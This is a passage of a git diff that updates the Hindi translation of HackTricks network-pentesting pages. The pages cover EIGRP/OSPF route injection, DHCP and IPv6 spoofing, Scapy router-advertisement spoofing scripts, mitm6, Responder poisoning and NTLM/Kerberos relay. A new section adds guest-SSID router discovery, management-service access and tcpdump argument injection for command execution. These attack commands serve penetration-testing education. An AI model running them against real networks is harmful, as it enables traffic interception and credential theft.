सकता है और **रूटिंग तालिकाओं को विषाक्त** कर सकता है। इसके अलावा, EIGRP नेटवर्क (दूसरे शब्दों में, स्वायत्त प्रणाली) **समतल है और किसी भी क्षेत्र में विभाजित नहीं है**। यदि एक **हमलावर एक मार्ग इंजेक्ट करता है**, तो यह संभावना है कि यह मार्ग स्वायत्त EIGRP प्रणाली में **फैल जाएगा**। +**EIGRP (Enhanced Interior Gateway Routing Protocol)** एक गतिशील रूटिंग प्रोटोकॉल है। **यह एक दूरी-वेक्तर प्रोटोकॉल है।** यदि **कोई प्रमाणीकरण** और निष्क्रिय इंटरफेस का कॉन्फ़िगरेशन नहीं है, तो एक **आक्रमणकारी** EIGRP रूटिंग में हस्तक्षेप कर सकता है और **रूटिंग तालिकाओं को विषाक्त** कर सकता है। इसके अलावा, EIGRP नेटवर्क (दूसरे शब्दों में, स्वायत्त प्रणाली) **समतल है और किसी भी क्षेत्र में विभाजित नहीं है**। यदि एक **हमलावर एक मार्ग इंजेक्ट करता है**, तो यह संभावना है कि यह मार्ग **स्वायत्त EIGRP प्रणाली में फैल जाएगा**। -EIGRP प्रणाली पर हमला करने के लिए **एक वैध EIGRP राउटर के साथ एक पड़ोस स्थापित करना आवश्यक है**, जो बुनियादी अन्वेषण से लेकर विभिन्न इंजेक्शनों तक कई संभावनाओं को खोलता है। +EIGRP प्रणाली पर हमला करने के लिए **एक वैध EIGRP राउटर के साथ पड़ोस स्थापित करना आवश्यक है**, जो बुनियादी अन्वेषण से लेकर विभिन्न इंजेक्शनों तक कई संभावनाओं को खोलता है। [**FRRouting**](https://frrouting.org/) आपको **BGP, OSPF, EIGRP, RIP और अन्य प्रोटोकॉल का समर्थन करने वाले एक आभासी राउटर को लागू करने की अनुमति देता है।** आपको बस इसे अपने हमलावर के सिस्टम पर तैनात करना है और आप वास्तव में रूटिंग डोमेन में एक वैध राउटर होने का नाटक कर सकते हैं। + {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) EIGRP (Enhanced Interior Gateway Routing Protocol) प्रसारणों को इंटरसेप्ट करने की क्षमताएँ रखता है। यह पैकेट इंजेक्शन की भी अनुमति देता है, जिसका उपयोग रूटिंग कॉन्फ़िगरेशन को बदलने के लिए किया जा सकता है। +[**Coly**](https://code.google.com/p/coly/) EIGRP (Enhanced Interior Gateway Routing Protocol) प्रसारणों को इंटरसेप्ट करने की क्षमताएँ रखता है। यह पैकेट इंजेक्ट करने की भी अनुमति देता है, जिसका उपयोग रूटिंग कॉन्फ़िगरेशन को बदलने के लिए किया जा सकता है। ### OSPF -Open Shortest Path First (OSPF) प्रोटोकॉल में **राउटर के बीच सुरक्षित संचार सुनिश्चित करने के लिए सामान्यतः MD5 प्रमाणीकरण का उपयोग किया जाता है**। हालाँकि, इस सुरक्षा उपाय को Loki और John the Ripper जैसे उपकरणों का उपयोग करके समझौता किया जा सकता है। ये उपकरण MD5 हैश को कैप्चर और क्रैक करने में सक्षम हैं, प्रमाणीकरण कुंजी को उजागर करते हैं। एक बार जब यह कुंजी प्राप्त हो जाती है, तो इसका उपयोग नए रूटिंग जानकारी को पेश करने के लिए किया जा सकता है। रूट पैरामीटर को कॉन्फ़िगर करने और समझौता की गई कुंजी स्थापित करने के लिए, _Injection_ और _Connection_ टैब का उपयोग किया जाता है, क्रमशः। +Open Shortest Path First (OSPF) प्रोटोकॉल में **राउटर के बीच सुरक्षित संचार सुनिश्चित करने के लिए सामान्यतः MD5 प्रमाणीकरण का उपयोग किया जाता है**। हालाँकि, इस सुरक्षा उपाय को Loki और John the Ripper जैसे उपकरणों का उपयोग करके समझौता किया जा सकता है। ये उपकरण MD5 हैश को कैप्चर और क्रैक करने में सक्षम हैं, जिससे प्रमाणीकरण कुंजी उजागर होती है। एक बार जब यह कुंजी प्राप्त हो जाती है, तो इसका उपयोग नए रूटिंग जानकारी को पेश करने के लिए किया जा सकता है। रूट पैरामीटर को कॉन्फ़िगर करने और समझौता की गई कुंजी स्थापित करने के लिए, _Injection_ और _Connection_ टैब का उपयोग किया जाता है। - **MD5 हैश को कैप्चर और क्रैक करना:** इस उद्देश्य के लिए Loki और John the Ripper जैसे उपकरणों का उपयोग किया जाता है। - **रूट पैरामीटर कॉन्फ़िगर करना:** यह _Injection_ टैब के माध्यम से किया जाता है। @@ -585,7 +587,7 @@ Open Shortest Path First (OSPF) प्रोटोकॉल में **रा ## **Spoofing** -आक्रमणकारी नए नेटवर्क सदस्य के सभी नेटवर्क पैरामीटर (GW, IP, DNS) को नकली DHCP प्रतिक्रियाएँ भेजकर कॉन्फ़िगर करता है। +हमलावर नेटवर्क के नए सदस्य के सभी नेटवर्क पैरामीटर (GW, IP, DNS) को नकली DHCP प्रतिक्रियाएँ भेजकर कॉन्फ़िगर करता है। ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed @@ -615,7 +617,7 @@ dig @localhost domain.example.com # Test the configured DNS ``` ### स्थानीय गेटवे -सिस्टमों और नेटवर्कों के लिए अक्सर कई मार्ग होते हैं। स्थानीय नेटवर्क के भीतर MAC पतों की एक सूची बनाने के बाद, IPv4 फॉरवर्डिंग का समर्थन करने वाले होस्टों की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें। +प्रणालियों और नेटवर्कों के लिए अक्सर कई मार्ग होते हैं। स्थानीय नेटवर्क के भीतर MAC पतों की एक सूची बनाने के बाद, IPv4 फॉरवर्डिंग का समर्थन करने वाले होस्ट की पहचान करने के लिए _gateway-finder.py_ का उपयोग करें। ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -642,21 +644,21 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -ब्राउज़र आमतौर पर **Web Proxy Auto-Discovery (WPAD) प्रोटोकॉल का उपयोग करते हैं ताकि स्वचालित रूप से प्रॉक्सी सेटिंग्स प्राप्त की जा सकें**। इसमें एक सर्वर से कॉन्फ़िगरेशन विवरण प्राप्त करना शामिल है, विशेष रूप से एक URL के माध्यम से जैसे "http://wpad.example.org/wpad.dat"। क्लाइंट द्वारा इस सर्वर की खोज विभिन्न तंत्रों के माध्यम से हो सकती है: +ब्राउज़र आमतौर पर **Web Proxy Auto-Discovery (WPAD) प्रोटोकॉल का उपयोग करते हैं ताकि स्वचालित रूप से प्रॉक्सी सेटिंग्स प्राप्त की जा सकें**। इसमें एक सर्वर से कॉन्फ़िगरेशन विवरण प्राप्त करना शामिल है, विशेष रूप से "http://wpad.example.org/wpad.dat" जैसे URL के माध्यम से। क्लाइंट द्वारा इस सर्वर की खोज विभिन्न तंत्रों के माध्यम से हो सकती है: - **DHCP** के माध्यम से, जहाँ खोज को विशेष कोड 252 प्रविष्टि का उपयोग करके सुगम बनाया जाता है। -- **DNS** द्वारा, जिसमें स्थानीय डोमेन के भीतर _wpad_ नामित होस्टनाम की खोज करना शामिल है। +- **DNS** द्वारा, जिसमें स्थानीय डोमेन के भीतर _wpad_ नामक होस्टनाम की खोज करना शामिल है। - **Microsoft LLMNR और NBT-NS** के माध्यम से, जो उन मामलों में बैकअप तंत्र के रूप में उपयोग किए जाते हैं जहाँ DNS लुकअप सफल नहीं होते हैं। टूल Responder इस प्रोटोकॉल का लाभ उठाकर **दुर्भावनापूर्ण WPAD सर्वर** के रूप में कार्य करता है। यह DHCP, DNS, LLMNR, और NBT-NS का उपयोग करके क्लाइंट को अपने से जोड़ने के लिए भ्रामक बनाता है। Responder का उपयोग करके सेवाओं की नकल कैसे की जा सकती है, इसके बारे में अधिक जानने के लिए [यहाँ देखें](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。 ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) -आप नेटवर्क में विभिन्न सेवाएँ प्रदान कर सकते हैं ताकि **एक उपयोगकर्ता को कुछ **plain-text credentials** दर्ज करने के लिए धोखा दिया जा सके। **इस हमले के बारे में अधिक जानकारी** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)** में है।** +आप नेटवर्क में विभिन्न सेवाएँ प्रदान कर सकते हैं ताकि **एक उपयोगकर्ता को** कुछ **सादा-पाठ क्रेडेंशियल्स** दर्ज करने के लिए **धोखा दिया जा सके**। **इस हमले के बारे में अधिक जानकारी** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)** में है।** ### IPv6 Neighbor Spoofing -यह हमला ARP Spoofing के समान है लेकिन IPv6 की दुनिया में। आप पीड़ित को यह सोचने के लिए मजबूर कर सकते हैं कि GW का IPv6 हमलावर का MAC है। +यह हमला ARP Spoofing के समान है लेकिन IPv6 दुनिया में। आप पीड़ित को यह सोचने के लिए मजबूर कर सकते हैं कि GW का IPv6 हमलावर का MAC है। ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds @@ -704,7 +706,7 @@ More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Bla More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip या sslStrip+ अब काम नहीं करता। इसका कारण यह है कि ब्राउज़रों में HSTS नियम पहले से सहेजे गए हैं, इसलिए भले ही यह पहली बार हो जब कोई उपयोगकर्ता एक "महत्वपूर्ण" डोमेन पर पहुंचता है, वह इसे HTTPS के माध्यम से पहुंचता है। इसके अलावा, ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम फ्लैग** [**`includeSubdomains`**](https://hstspreload.appspot.com) **का उपयोग कर सकते हैं, इसलिए पहले का** _**wwww.facebook.com**_ **उदाहरण अब काम नहीं करेगा क्योंकि** _**facebook.com**_ **HSTS के साथ `includeSubdomains` का उपयोग करता है।** +**sslStrip या sslStrip+ अब काम नहीं करता। इसका कारण यह है कि ब्राउज़रों में HSTS नियम पहले से सहेजे गए हैं, इसलिए भले ही यह किसी उपयोगकर्ता का "महत्वपूर्ण" डोमेन पर पहली बार पहुंचने का समय हो, वह इसे HTTPS के माध्यम से पहुंच जाएगा। इसके अलावा, ध्यान दें कि पहले से सहेजे गए नियम और अन्य उत्पन्न नियम फ्लैग** [**`includeSubdomains`**](https://hstspreload.appspot.com) **का उपयोग कर सकते हैं, इसलिए पहले का _**wwww.facebook.com**_ **उदाहरण अब काम नहीं करेगा क्योंकि** _**facebook.com**_ **HSTS के साथ `includeSubdomains` का उपयोग करता है।** TODO: easy-creds, evilgrade, metasploit, factory @@ -736,7 +738,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI कभी-कभी, यदि क्लाइंट यह जांचता है कि CA एक मान्य है, तो आप **एक अन्य होस्टनेम का प्रमाणपत्र जो CA द्वारा हस्ताक्षरित है** प्रदान कर सकते हैं।\ एक और दिलचस्प परीक्षण है, **अनुरोधित होस्टनेम का प्रमाणपत्र लेकिन स्व-हस्ताक्षरित** प्रदान करना। -परीक्षण करने के लिए अन्य चीजें हैं, जैसे कि प्रमाणपत्र को एक मान्य प्रमाणपत्र के साथ हस्ताक्षरित करने की कोशिश करना जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करना, एक एल्गोरिदम का उपयोग करने के लिए मजबूर करना जैसे कि डिफी हेलमैन (एक ऐसा जो वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब क्लाइंट वास्तविक निजी कुंजी का एक परीक्षण (जैसे एक हैश) मांगता है, तो एक नकली परीक्षण भेजें और उम्मीद करें कि क्लाइंट इसे जांचता नहीं है। +परीक्षण करने के लिए अन्य चीजें हैं जैसे कि प्रमाणपत्र को एक मान्य प्रमाणपत्र के साथ हस्ताक्षरित करने की कोशिश करना जो एक मान्य CA नहीं है। या मान्य सार्वजनिक कुंजी का उपयोग करना, एक ऐसे एल्गोरिदम का उपयोग करने के लिए मजबूर करना जैसे कि डिफी हेलमैन (एक ऐसा जो वास्तविक निजी कुंजी के साथ कुछ भी डिक्रिप्ट करने की आवश्यकता नहीं है) और जब क्लाइंट वास्तविक निजी कुंजी का एक प्रॉब (जैसे एक हैश) मांगता है, तो एक नकली प्रॉब भेजें और उम्मीद करें कि क्लाइंट इसे जांचेगा नहीं। ## Bettercap ```bash @@ -766,7 +768,7 @@ wifi.recon on; wifi.ap ``` ### Active Discovery Notes -यह ध्यान में रखें कि जब एक UDP पैकेट एक डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं होता है, तो एक ICMP (Port Unreachable) भेजा जाता है। +यह ध्यान में रखें कि जब एक UDP पैकेट एक ऐसे डिवाइस को भेजा जाता है जिसमें अनुरोधित पोर्ट नहीं होता है, तो एक ICMP (Port Unreachable) भेजा जाता है। ### **ARP discover** @@ -774,7 +776,7 @@ ARP पैकेट का उपयोग यह पता लगाने क ### **mDNS (multicast DNS)** -Bettercap एक MDNS अनुरोध भेजता है (प्रत्येक X ms) **\_services\_.dns-sd.\_udp.local** के लिए पूछते हुए, जो मशीन इस पैकेट को देखती है, आमतौर पर इस अनुरोध का उत्तर देती है। फिर, यह केवल "services" का उत्तर देने वाली मशीनों की खोज करती है। +Bettercap एक MDNS अनुरोध भेजता है (प्रत्येक X ms) **\_services\_.dns-sd.\_udp.local** के लिए पूछते हुए, जो मशीन इस पैकेट को देखती है, आमतौर पर इस अनुरोध का उत्तर देती है। फिर, यह केवल "services" का उत्तर देने वाली मशीनों की खोज करता है। **Tools** diff --git a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md index e8f585af6..bb0b3f613 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md +++ b/src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md @@ -54,7 +54,7 @@ IPv6 पते किसी डिवाइस के MAC पते से स - **Multicast Address**: एक से कई संचार के लिए। मल्टीकास्ट समूह में सभी इंटरफेस पर भेजा जाता है। प्रीफिक्स: **`FF00::/8`** - **Anycast Address**: एक से निकटतम संचार के लिए। रूटिंग प्रोटोकॉल के अनुसार निकटतम इंटरफेस पर भेजा जाता है। **`2000::/3`** वैश्विक यूनिकास्ट रेंज का हिस्सा। -### **पता प्रीफिक्स** +### **पते के प्रीफिक्स** - **fe80::/10**: Link-Local पते (169.254.x.x के समान) - **fc00::/7**: Unique Local-Unicast (निजी IPv4 रेंज जैसे 10.x.x.x, 172.16.x.x, 192.168.x.x के समान) @@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1 ``` ### Passive NDP & DHCPv6 Sniffing -क्योंकि हर IPv6 होस्ट **स्वतः कई मल्टीकास्ट समूहों में शामिल होता है** (`ff02::1`, `ff02::2`, …) और SLAAC/NDP के लिए ICMPv6 बोलता है, आप बिना एक भी पैकेट भेजे पूरे खंड का मानचित्रण कर सकते हैं। निम्नलिखित Python/Scapy एक-लाइनर सबसे दिलचस्प L2 संदेशों के लिए सुनता है और यह प्रिंट करता है कि कौन कौन है, एक रंगीन, टाइमस्टैम्प वाला लॉग: +क्योंकि हर IPv6 होस्ट **स्वतः कई मल्टीकास्ट समूहों में शामिल होता है** (`ff02::1`, `ff02::2`, …) और SLAAC/NDP के लिए ICMPv6 बोलता है, आप बिना एक भी पैकेट भेजे पूरे सेगमेंट का मानचित्रण कर सकते हैं। निम्नलिखित Python/Scapy एक-लाइनर सबसे दिलचस्प L2 संदेशों के लिए सुनता है और यह प्रिंट करता है कि कौन कौन है, एक रंगीन, टाइमस्टैम्प वाला लॉग: ```python #!/usr/bin/env python3 from scapy.all import * @@ -199,7 +199,7 @@ sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) ### Router Advertisement (RA) Spoofing -IPv6 होस्ट **ICMPv6 Router Advertisements** पर डिफ़ॉल्ट-गेटवे खोजने के लिए निर्भर करते हैं। यदि आप वैध राउटर की तुलना में **अधिक बार** जाली RAs इंजेक्ट करते हैं, तो उपकरण चुपचाप आपको गेटवे के रूप में स्विच कर देंगे। +IPv6 होस्ट **ICMPv6 Router Advertisements** पर डिफ़ॉल्ट-गेटवे खोज के लिए निर्भर करते हैं। यदि आप वैध राउटर की तुलना में **अधिक बार** जाली RAs इंजेक्ट करते हैं, तो उपकरण चुपचाप आपको गेटवे के रूप में स्विच कर देंगे। ```python #!/usr/bin/env python3 from scapy.all import * @@ -240,7 +240,7 @@ sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ```bash sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements ``` -`flags [M,O]` फ़ील्ड को डंप में खोजें - कोई अनुमान लगाने की आवश्यकता नहीं है। +`flags [M,O]` फ़ील्ड को डंप में देखें - कोई अनुमान लगाने की आवश्यकता नहीं है। **Prf** (राउटर प्रेफरेंस) फ़ील्ड RA हेडर के अंदर नियंत्रित करता है कि आपका धोखाधड़ी राउटर *कई* गेटवे मौजूद होने पर कितना आकर्षक दिखता है: @@ -263,11 +263,12 @@ from scapy.all import * import argparse p = argparse.ArgumentParser() -p.add_argument('-i','--interface',required=True) -p.add_argument('--llip',required=True) -p.add_argument('--dns',required=True,help='Fake DNS IPv6') -p.add_argument('--lifetime',type=int,default=600) -p.add_argument('--interval',type=int,default=5) +P = p.add_argument +P('-i','--interface',required=True) +P('--llip',required=True) +P('--dns',required=True,help='Fake DNS IPv6') +P('--lifetime',type=int,default=600) +P('--interval',type=int,default=5) args = p.parse_args() ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ @@ -280,7 +281,7 @@ Clients will **prepend** your DNS to their resolver list for the given lifetime, ### DHCPv6 DNS Spoofing (mitm6) -इसके बजाय SLAAC, Windows नेटवर्क अक्सर DNS के लिए **stateless DHCPv6** पर निर्भर करते हैं। [mitm6](https://github.com/rofl0r/mitm6) स्वचालित रूप से `Solicit` संदेशों का उत्तर **Advertise → Reply** प्रवाह के साथ देता है जो **आपके लिंक-लोकल पते को 300 सेकंड के लिए DNS के रूप में असाइन करता है**। यह निम्नलिखित को अनलॉक करता है: +इसके बजाय SLAAC, Windows नेटवर्क अक्सर DNS के लिए **stateless DHCPv6** पर निर्भर करते हैं। [mitm6](https://github.com/rofl0r/mitm6) स्वचालित रूप से `Solicit` संदेशों का उत्तर देता है **Advertise → Reply** प्रवाह के साथ जो **आपके लिंक-लोकल पते को 300 सेकंड के लिए DNS के रूप में असाइन करता है**। यह निम्नलिखित को अनलॉक करता है: * NTLM रिले हमले (WPAD + DNS हाइजैकिंग) * राउटर्स को छुए बिना आंतरिक नाम समाधान को इंटरसेप्ट करना @@ -296,7 +297,52 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning * **असंगठित उच्च-दर RAs** या अचानक **RDNSS परिवर्तनों** की निगरानी करें। * एंडपॉइंट्स पर IPv6 को निष्क्रिय करना एक अस्थायी समाधान है जो अक्सर आधुनिक सेवाओं को तोड़ता है और अंधे स्थानों को छुपाता है - इसके बजाय L2 फ़िल्टरिंग को प्राथमिकता दें। -## References +### NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure + +कई उपभोक्ता राउटर प्रबंधन डेमन (HTTP(S), SSH/Telnet, TR-069, आदि) को सभी इंटरफेस पर उजागर करते हैं। कुछ तैनाती में, "गेस्ट/पब्लिक" SSID WAN/core से ब्रिज किया गया है और यह केवल IPv6 है। भले ही राउटर का IPv6 हर बूट पर बदलता है, आप NDP/ICMPv6 का उपयोग करके इसे विश्वसनीय रूप से जान सकते हैं और फिर गेस्ट SSID से प्रबंधन स्तर से सीधे कनेक्ट कर सकते हैं। + +गेस्ट/पब्लिक SSID से जुड़े क्लाइंट से सामान्य कार्यप्रवाह: + +1) सभी राउटर मल्टीकास्ट `ff02::2` पर ICMPv6 राउटर अनुरोध के माध्यम से राउटर का पता लगाएं और राउटर विज्ञापन (RA) को कैप्चर करें: +```bash +# Listen for Router Advertisements (ICMPv6 type 134) +sudo tcpdump -vvv -i 'icmp6 and ip6[40]==134' + +# Provoke an RA by sending a Router Solicitation to ff02::2 +python3 - <<'PY' +from scapy.all import * +send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='') +PY +``` +RA राउटर के लिंक-लोकल और अक्सर एक वैश्विक पता/प्रिफिक्स को प्रकट करता है। यदि केवल एक लिंक-लोकल ज्ञात है, तो याद रखें कि कनेक्शनों को क्षेत्र अनुक्रमांक निर्दिष्ट करना चाहिए, जैसे कि `ssh -6 admin@[fe80::1%wlan0]`। + +वैकल्पिक: यदि उपलब्ध हो तो ndisc6 सूट का उपयोग करें: +```bash +# rdisc6 sends RS and prints RAs in a friendly way +rdisc6 +``` +2) अतिथि SSID से IPv6 के माध्यम से उजागर सेवाओं तक पहुँचें: +```bash +# SSH/Telnet example (replace with discovered address) +ssh -6 admin@[2001:db8:abcd::1] +# Web UI over IPv6 +curl -g -6 -k 'http://[2001:db8:abcd::1]/' +# Fast IPv6 service sweep +nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1] +``` +3) यदि प्रबंधन शेल पैकेट-कैप्चर टूलिंग को एक रैपर (जैसे, tcpdump) के माध्यम से प्रदान करता है, तो अतिरिक्त tcpdump फ्लैग जैसे `-G/-W/-z` को पास करने की अनुमति देने वाले तर्क/फाइलनाम इंजेक्शन के लिए जांचें ताकि पोस्ट-रोटेट कमांड निष्पादन प्राप्त किया जा सके। देखें: + +{{#ref}} +../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md +{{#endref}} + +रक्षा/नोट्स: + +- प्रबंधन को गेस्ट/पब्लिक ब्रिज से न बांधें; SSID ब्रिज पर IPv6 फ़ायरवॉल लागू करें। +- जहां संभव हो, गेस्ट सेगमेंट पर NDP/RS/RA की दर-सीमा और फ़िल्टर करें। +- उन सेवाओं के लिए जो पहुंच योग्य होनी चाहिए, authN/MFA और मजबूत दर-सीमाएं लागू करें। + +## संदर्भ - [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) - [mitm6](https://github.com/rofl0r/mitm6) @@ -304,5 +350,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) - [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/) +- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 363c574cf..a7db16d7f 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -8,14 +8,14 @@ - **LLMNR, NBT-NS, and mDNS**: - Microsoft और अन्य ऑपरेटिंग सिस्टम LLMNR और NBT-NS का उपयोग स्थानीय नाम समाधान के लिए करते हैं जब DNS विफल हो जाता है। इसी तरह, Apple और Linux सिस्टम mDNS का उपयोग करते हैं। -- ये प्रोटोकॉल UDP पर अपनी अनधिकृत, प्रसारण प्रकृति के कारण इंटरसेप्शन और स्पूफिंग के प्रति संवेदनशील हैं। -- [Responder](https://github.com/lgandx/Responder) का उपयोग सेवाओं की नकल करने के लिए किया जा सकता है, जो इन प्रोटोकॉल को क्वेरी करने वाले होस्ट को जाली प्रतिक्रियाएँ भेजता है। -- Responder का उपयोग करके सेवा नकल के बारे में अधिक जानकारी [यहाँ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) मिल सकती है। +- ये प्रोटोकॉल UDP पर अपनी बिना प्रमाणीकरण, प्रसारण प्रकृति के कारण इंटरसेप्शन और स्पूफिंग के प्रति संवेदनशील हैं। +- [Responder](https://github.com/lgandx/Responder) का उपयोग सेवाओं का अनुकरण करने के लिए किया जा सकता है, जो इन प्रोटोकॉल को क्वेरी करने वाले होस्ट को जाली प्रतिक्रियाएँ भेजता है। +- Responder का उपयोग करके सेवा अनुकरण पर अधिक जानकारी [यहाँ](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) मिल सकती है। ### Web Proxy Auto-Discovery Protocol (WPAD) - WPAD ब्राउज़रों को स्वचालित रूप से प्रॉक्सी सेटिंग्स खोजने की अनुमति देता है। -- खोज DHCP, DNS के माध्यम से की जाती है, या यदि DNS विफल हो जाता है तो LLMNR और NBT-NS पर वापस जाती है। +- खोज DHCP, DNS, या DNS विफल होने पर LLMNR और NBT-NS पर वापस जाकर की जाती है। - Responder WPAD हमलों को स्वचालित कर सकता है, ग्राहकों को दुर्भावनापूर्ण WPAD सर्वरों की ओर निर्देशित करता है। ### Responder for Protocol Poisoning @@ -30,9 +30,9 @@ - डिफ़ॉल्ट सेटिंग्स के साथ Responder चलाने के लिए: `responder -I ` - अधिक आक्रामक प्रोबिंग के लिए (संभावित दुष्प्रभावों के साथ): `responder -I -P -r -v` -- NTLMv1 चुनौतियों/प्रतिक्रियाओं को कैप्चर करने के लिए तकनीकें: `responder -I --lm --disable-ess` -- WPAD नकल को सक्रिय किया जा सकता है: `responder -I --wpad` -- NetBIOS अनुरोधों को हमलावर के IP पर हल किया जा सकता है, और एक प्रमाणीकरण प्रॉक्सी स्थापित किया जा सकता है: `responder.py -I -Pv` +- NTLMv1 चुनौतियों/प्रतिक्रियाओं को कैप्चर करने की तकनीकें: `responder -I --lm --disable-ess` +- WPAD अनुकरण को सक्रिय किया जा सकता है: `responder -I --wpad` +- NetBIOS अनुरोधों को हमलावर के IP पर हल किया जा सकता है, और एक प्रमाणीकरण प्रॉक्सी सेट किया जा सकता है: `responder.py -I -Pv` ### DHCP Poisoning with Responder @@ -43,7 +43,7 @@ ### Capturing Credentials with Responder -- Responder उपरोक्त प्रोटोकॉल का उपयोग करके सेवाओं की नकल करेगा, जब एक उपयोगकर्ता स्पूफ की गई सेवाओं के खिलाफ प्रमाणीकरण करने का प्रयास करता है, तो क्रेडेंशियल्स (आमतौर पर NTLMv2 चुनौती/प्रतिक्रिया) कैप्चर करता है। +- Responder उपरोक्त प्रोटोकॉल का उपयोग करके सेवाओं का अनुकरण करेगा, जब कोई उपयोगकर्ता अनुकरणित सेवाओं के खिलाफ प्रमाणीकरण करने का प्रयास करता है, तो क्रेडेंशियल्स (आमतौर पर NTLMv2 Challenge/Response) कैप्चर करता है। - NetNTLMv1 में डाउनग्रेड करने या आसान क्रेडेंशियल क्रैकिंग के लिए ESS को निष्क्रिय करने का प्रयास किया जा सकता है। यह महत्वपूर्ण है कि इन तकनीकों का उपयोग कानूनी और नैतिक रूप से किया जाए, उचित प्राधिकरण सुनिश्चित करते हुए और व्यवधान या अनधिकृत पहुंच से बचते हुए। @@ -62,7 +62,7 @@ Inveigh.exe ``` ### NTLM Relay Attack -यह हमला SMB प्रमाणीकरण सत्रों का उपयोग करके एक लक्षित मशीन तक पहुँचने के लिए किया जाता है, यदि सफल हो तो एक सिस्टम शेल प्रदान करता है। मुख्य पूर्वापेक्षाएँ शामिल हैं: +यह हमला SMB प्रमाणीकरण सत्रों का उपयोग करके एक लक्षित मशीन तक पहुँचने के लिए किया जाता है, यदि सफल होता है तो एक सिस्टम शेल प्रदान करता है। मुख्य पूर्वापेक्षाएँ शामिल हैं: - प्रमाणीकरण करने वाले उपयोगकर्ता को रिले किए गए होस्ट पर स्थानीय व्यवस्थापक पहुँच होनी चाहिए। - SMB साइनिंग को अक्षम किया जाना चाहिए। @@ -111,13 +111,14 @@ python MultiRelay.py -t -u ALL -d # Dump hashes Windows में आप **कुछ विशेषाधिकार प्राप्त खातों को मनमाने मशीनों पर प्रमाणीकरण करने के लिए मजबूर कर सकते हैं**। जानने के लिए निम्नलिखित पृष्ठ पढ़ें: + {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} ## Kerberos रिले हमला -एक **Kerberos रिले हमला** एक **AP-REQ टिकट** को एक सेवा से चुराता है और इसे दूसरी सेवा के खिलाफ पुनः उपयोग करता है जो **एक ही कंप्यूटर-खाता कुंजी** साझा करती है (क्योंकि दोनों SPNs एक ही `$` मशीन खाते पर होते हैं)। यह तब भी काम करता है जब SPNs की **सेवा श्रेणियाँ भिन्न** होती हैं (जैसे `CIFS/` → `LDAP/`) क्योंकि *कुंजी* जो टिकट को डिक्रिप्ट करती है वह मशीन का NT हैश है, न कि SPN स्ट्रिंग स्वयं और SPN स्ट्रिंग हस्ताक्षर का हिस्सा नहीं है। +एक **Kerberos रिले हमला** एक **AP-REQ टिकट** को एक सेवा से चुराता है और इसे दूसरी सेवा के खिलाफ पुनः उपयोग करता है जो **एक ही कंप्यूटर-खाता कुंजी** साझा करती है (क्योंकि दोनों SPNs एक 